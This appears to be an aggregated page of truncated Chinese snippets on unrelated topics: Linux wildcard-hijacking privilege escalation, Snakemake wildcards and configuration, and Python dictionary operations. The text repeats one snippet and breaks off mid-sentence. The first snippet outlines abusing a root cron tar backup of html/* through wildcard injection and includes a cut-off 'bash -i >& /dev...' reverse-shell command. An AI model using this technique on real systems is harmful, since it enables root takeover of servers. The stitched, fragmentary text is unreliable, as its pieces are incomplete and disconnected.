基础知识 在shell终端中，我们经常用通配符来偷懒，来匹配我们想要的内容，无论是文件还是目录，都适用。 认识部分通配符： * 匹配任意多个字符 ?...通配符劫持的第一次利用-chown命令扩展(chown劫持) 如果你对Linux/Unix系统稍微了解过，就知道，在系统下，一切皆文件，而文件也会属于某个用户，某个组，也会相应的文件操作的权限，可读可写可执行...通配符劫持的第二次利用-tar命令的扩展(tar劫持） tar命令是我们在linux系统中常用的一条命令，无论是解压文件还是压缩文件，都很nice！.../html/* //这里设置每一分钟对网站进行一次备份 因为这里直接用了*通配符来匹配网站根目录下的所有文件，所有我们可以加以利用 我们在根目录下输入以下命令： echo "bash -i >& /dev...，一般计划任务都是root权限 通配符劫持的第三次利用-rsync命令的扩展(rsync劫持） rsync命令是一个远程数据同步工具，可通过LAN/WAN快速同步多台主机间的文件。
在shell终端中，我们经常用通配符来偷懒，来匹配我们想要的内容，无论是文件还是目录，都适用。 认识部分通配符： * 匹配任意多个字符 ?...通配符劫持的第一次利用-chown命令扩展(chown劫持) 如果你对Linux/Unix系统稍微了解过，就知道，在系统下，一切皆文件，而文件也会属于某个用户，某个组，也会相应的文件操作的权限，可读可写可执行...通配符劫持的第二次利用-tar命令的扩展(tar劫持） tar命令是我们在linux系统中常用的一条命令，无论是解压文件还是压缩文件，都很nice！.../html/* //这里设置每一分钟对网站进行一次备份 因为这里直接用了*通配符来匹配网站根目录下的所有文件，所有我们可以加以利用 我们在根目录下输入以下命令： echo "bash -i >& /dev...通配符劫持的第三次利用-rsync命令的扩展(rsync劫持） rsync命令是一个远程数据同步工具，可通过LAN/WAN快速同步多台主机间的文件。
1-pandas 类似于R 中的data.frame，python 中的pandas 也提供了一套处理数据框的操作。而同样是基于python 框架的snakemake，可以帮助我们很好的将二者融合。....fastq.gz' 2-制定snakemake规则 通过python 数据框的选择，我们可以通过指定索引列来对如文件的地址进行选择。...可是我们该如何将其整合进pipeline 的规则当中呢？ snakemake 实际上会使用wildcards对象，也就是通配符，我们符号中设置的通配符内容都会以该对象的属性传入命令行段落。...-np results/awesome/s00{1..2}_R{1,2}.fq 可以看到，现在snakemake 就通过s001 找到其在csv 文件中，对应的fq1 文件的位置了： [Fri May...这种做法有两点好处： 当输入或输出文件较多时，通过命名，我们可以将它们进行分类； 便于使用unpack() 函数，这个函数允许我们设计用于命名规则的函数； 4-使用字典和变量传递 上面的步骤提示我们，snakemake
Python的字典属于一种数据类型，我们可以把数据存到字典里面，字典使用大括号“{}”来定义。...Python中唯一的映射类型（哈希表），其对象是可变的，但是字典的键必须使用不可变对象，一个字典中可以使用不同类型的键值，方法可以有： keys（） values（） items（）； 首先我们可以创建一个空字典...因为遵循哈希表 存入字典的数据类型应该用只读的，应保持哈希的结果不变： In [15]: dict1={'a':1, 1:123, ('qq','wx'):'hello'} In [16]: dict1...Out[16]: {1: 123, 'a': 1, ('qq', 'wx'): 'hello'} 查看字典的长度，可以看到我们刚刚定义的字典有3个元素： In [17]: len(dict1) Out.../usr/local/python3/bin/python info={} name=input("Please input a number : ") age=input("Please input
无奈发现了基于python 框架的snakemake，如释重负，立马学一下。...snakemake 的工作流可以简单概括为：1）首先定义一些规则；2）设置需要的输出类型，snakemake 将会判断需要何种软件或流程以获得对应的输出类型。...rule trim_awesome_001: ..... rule trim_awesome_002: ..... 4-学会使用通配符 有为伟大的人说过，“正则是我的光；通配符是我的太阳...虽然我们知道通配符代表了我们将要输入输出文件的命名范式，但snakemake 并不知道对应哪些文件。...因为此时，snakemake 成功地将我们指定的文件对应到了规则中的通配符位置。
Date : [[2022-05-29_Sun]] Tags : #工作流/snakemake 参考： Snakemake Tutorial[1] 前言 继续介绍一些snakemake的进阶操作。...执行的时候，我们需要制定--cores 参数，设置snakemake 全部任务执行时，不超过的最大线程数。...比如当bwa 规则调用了8个线程，snakemake 则会将剩下的线程分配给其他数据执行bwa 以外的线程消耗数目较少的任务。...2-配置文件 我们可以在snakemake中，将使用的通配符或文件信息，写到config 文件中，并通过config访问： samples: A: data/samples/A.fastq...，比如当我们传入A 时，即传给了通配符对应的{sample}，并可以获得对应的值data/samples/A.fastq。
python 字典操作提取key,value dictionaryName[key] = value 欢迎加入Python快速进阶QQ群：867300100 1.为字典增加一项 2.访问字典中的值...3、删除字典中的一项 4、遍历字典 5、字典遍历的key\value 6、字典的标准操作符 7、判断一个键是否在字典中 8、python中其他的一些字典方法...这个方法耗费性能，而且对于python3，这个无法成功执行，因为items()返回是个对象。...(), dict_ori.keys())) print(dict_new2) {1: ‘A’, 2: ‘B’, 3: ‘C’} **10、字典多键值及重复键值的使用方法(详解) ** 方案一 #encoding...=utf-8 print ('中国') #字典的一键多值 print('方案一 list作为dict的值 值允许重复' ) d1={} key=1 value=2 d1.setdefault(key
本期内容主要以整理Snakemake的简单介绍[1]视频为主。 1啥是Snakemake Snakemake 是一个基于Python3的用于构建和管理数据分析工作流程的免费工具。...当你整理好流程以后，只需简单替换几个参数，就能快速开始分析一个新的数据。 Snakemake 的另一个强大特性是它的并行处理能力。...简单来说，它有以下优点： 可读性强 易移植 模块化管理 透明 能生成流程图，看到每个过程 可扩展 可拓展的平台 2如何使用 在 Snakemake 中，可以使用类似于 Python 的语法来描述任务和规则...大括号为通配符，可以为任意字符串。 当我们运行snakemake ds1_plot.pdf时，它会从规则的output中找到能与ds1_plot.pdf匹配的。...如果我们修改了数据，程序会识别文件的修改时间判定其为一个新文件，进而重新运行命令。 3Snakemake 参数 Snakemake的参数非常多，常用的有以下几个： -p：打印运行的shell命令。
Snakemake的设计灵感来自于Makefile，但它是专门为生物信息学和数据密集型科学工作流设计的，使用Python语言进行工作流的定义，这使得它在生物信息学社区中特别受欢迎。...Snakemake的主要优势包括： 易于使用和学习：Snakemake使用简单的、基于Python的语法来定义工作流，这使得它对于具有Python基础的科学家来说非常容易上手。...集成性：Snakemake可以轻松地与其他生物信息学工具和语言集成，如R和Python，使得复杂分析的步骤更加灵活。...它允许用户通过简单的Python语法定义分析步骤，管理数据和代码的依赖性。Snakemake支持灵活的规则定义，可以轻松地适应各种计算环境，包括单机、集群和云。...这是由于 Python 会连接后续字符串，如果没有逗号分割，可能会导致意外行为 2、如果一个规则有多个输出文件，Snakemake 会要求它们全部输出 ，在使用通配符的时候应避免出现完全相同的通配，否则
字典是由多个键 (key) 及其对应的值 (value) 所组成的一种数据类型字典在 Python 里面是非常重要的数据类型，而且很常用字典是以关键字（键）为索引，关键字（键）可以是任意不可变类型字典由键和对应值成对组成...，字典中所有的键值对放在 { } 中间，每一对键值之间用逗号分开⭐️ 字典的结构与创建方法在 Python 中，dict 代表着字典这一类型，也可以用它定义一个元祖在 Python 中，通过 {} 将一个个...value 支持所以 Python 的数据类型person = {'name': 'neo', 'birthday': '2000-01-01', 'age': 18, 'height': 1.75}print...需要特别注意的是 Python3.7之前的版本字典是无序的，之后版本变为有序。同时，字典最重要的一个特性，字典中的每一个key一定是唯一的。...2 个键值对的字典；在第 2 行，修改键 'a' 对应的值为 'AA'；在第 3 行，修改键 'b' 对应的值为 'BB'；在第 4 行，显示修改后的字典。
字典的删除 clear函数 功能 清空当前字典中所有数据 用法 dict.clear() -> 无参数,无返回值 pop函数的功能与用法 功能 删除字典中指定的key,并将其结果返回,如果key不存在则报错...用法 dict.pop(key) – key 希望被删掉的键 >>返回这个key对应的值(value) del 在字典中的用法 my_dict = {'name': 'dewei', 'age...del my_dict['name'] print(my_dict) >> {'age': 33} del my_dict print(my_dict) -> 报错 , 整个字典对象已被删除...price'])) projects.pop('pc') print(projects.keys()) result = projects.pop('mac') print('一个程序员购买了{},它的价格是
前言 作为一名测试工程师，掌握Python字典的高级用法可以显著提高代码的灵活性和效率。...本文将深入探讨Python字典的高级用法，主要包括嵌套字典和字典推导式，帮助你在实际工作中更加高效地处理复杂数据结构。 嵌套字典 嵌套字典是指字典中的值本身也是一个字典。...可以像操作普通字典一样，添加或删除嵌套字典中的元素。...字典推导式是一种简洁的创建字典的方式，通过类似列表推导式的语法，可以更高效地生成字典。...in names} print(name_length_dict) # 输出：{'Alice': 5, 'Bob': 3, 'Charlie': 7} 总结 本文详细介绍了Python字典的高级用法
字典 ：一个关联数组或散列表 ，可通过关键字索引的对象。...字典的用途：定义一个可包含多个命名字段的对象，也可以用作快速查找无序数据的容器 字典是python中最完善的数据类型 在程序中最常用于存储和处理数据 如何创建： 1，在{}中放入值即可创建一个空字典；...： 0 2，使用系统方法 get 判断是否是字典成员 p = prices.get('grape',0); print(p); 输出结果： 0 获取字典关键字的列表 只需要将字典转换为列表即可： pricelist...：是一个关联性数组 或者散列表 2，创建字典：1 ，{} 2，dict() 2，字典的用途:用于快速查找无序数据 常用于存储和处理数据 3，使用字典关键字索引获取数据 4，字典的插入和修改 ：使用关键字索引... 添加或者修改 格式 s[name] = 'data'; 5，判断元素是否存在于字典中 ：1 ，in 2，get 6, 获取字典关键字的方法： list 声明为列表 6，删除字典中的元素 ：del方法
字典 字典是一种存储键值对的结构。 和生活中的字典一样，当你查一个英语的意思时：apple就对应着苹果。它们就是一个键值对，其中apple就是key，而苹果就是value。...这些键（key）和值（value）是一一对应的，我们可以根据键，快速找到值。 3.1 创建字典 创建一个空的字典，使用{}来表示字典。...直接使用for循环能够获取到字典中的所有key，进一步就可以取出每一个值了。...类型 不是所有的类型都可以作为字典的key的，字典的本质其实是哈希表，哈希表的key要求是可哈希的，也就是可以计算出一个哈希值。...可以使用hash函数计算某个对象的哈希值。 但凡能够计算出哈希值的类型，都可以作为字典的key。
现在，我也可以拍拍我的肩膀告诉自己：「加油，年轻人，未来是你的！ 」 Python编程 接下来开始今天的学习，昨天分享了关于Python列表与元组的知识，今天我们来学习字典的使用。...01 代码块与笔记 字典 Dictionary 1 字典简介 字典是 Python 语言中唯一的映射类型，是无序的，具有极快的查找速度，元素以键值对形式存在 字典对象是可变的，它是一个容器类型...，能存储任意个数的 Python 对象，其中也包括其他容器类型（列表、元组） 格式：字典中的每个键值对（key=>value）用冒号 :分割，每个键值对之间用逗号 ,分割，整个字典包括在花括号 {}之...中 2 常用操作 创建字典、增删改查、长度、遍历字典等 创建字典1 # 键的特性：唯一 不可变对象 # 数字、字符串、元组等可以为键，列表不可以 # 重复时，后一个键值对会覆盖前面的...计算字典元素个数,即键的总数 print(len(dict1)) # 以列表返回字典中的所有键 print(dict1.keys()) # 以列表返回字典中的所有值 print(dict1.
字典的基本详情 字典查找速度快 字典是无序的；（python3.6以上版本有序） 字典支持乘加、成员检查、长度、最小值、最大值、嵌套； 字典值不支持列表、元组、索引、切片、元素赋值跟切片赋值； 字典通过大括号表示...； 字典的内容是项；项由键和值组成，中间用冒号隔开；项和项之间用逗号隔开；需要注意键必须是唯一的； 字典的意义是让用户能够快速的找到特定的单词（键），以获悉其定义（值）； 字典通过键来进行查看值的内容...字典的值可以是字符串、数字、字典 字典的赋值 dict1 = {'key1':'value1', 'key2':'value2'} 字典的添加 dic1 = {'name': 'liangxiao',...字典的删除 dic1 = {'name': 'liangxiao', 'age': 24} dic1.pop('name') # 根据key进行键值对删除，可设置返回值，没有找到相应的...# 打印字典所有 dic1.get('name') # 查找指定的key的value，没有则返回None dic1.items() # 一组一组的查找所有内容
/usr/bin/env python #Filename:addressbook.py adbook={'alice':100,'bob':101,'chanel':102} while True:
备忘一下python中的字典如何遍历,没有什么太多技术含量.仅供作为初学者的我参考. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23.../usr/bin/env python # coding=utf-8 demoDict = {'1':'Chrome', '2':'Android'} for key in demoDict.keys...dict.iterkeys()=', demoDict.iterkeys() interitems和iterms区别 参考 http://stackoverflow.com/questions/10458437/python-what-is-the-difference-between-dict-items-and-dict-iteritems
字典的keys函数 功能 获取当前字典中所有的键(key) 用法 dict.keys() -> 无需传参,返回一个key集合的伪列表 伪列表不具备列表的所有功能 注意 使用list()函数可以将伪列表转换为列表...转换之后的列表具有无重复成员的特点 代码 # coding:utf-8 project = {'id': 1, 'project_name': 'ipad', 'price': 2200, 'count
今天碰到一个字典比较的问题，就是比较两个字典的大小，其实这个用的不多，用处也没多少，但是还是记录一下。...字典的比较顺序如下： 1、先比较字典的元素的个数，那个多，就哪个大； 2、比较字典的键，在比较字典的键的时候，需要注意的是比较的顺序是按照keys返回值来进行的比较； 3、比较字典的值，值也是按照items...返回值来进行比较，主要就是按照数字和字母的大小比较； 4、如果以上的比较都相等，那么就都是相等的。...','age':17} #比较的时候，根据keys返回的比较，所以27比17大，而不是比较我们看到的顺序 >>> cmp(dict4,dict5) 1 >>> for i in dict4: ......age name 这也就是一个字典的比较，按照顺序来比较即可。
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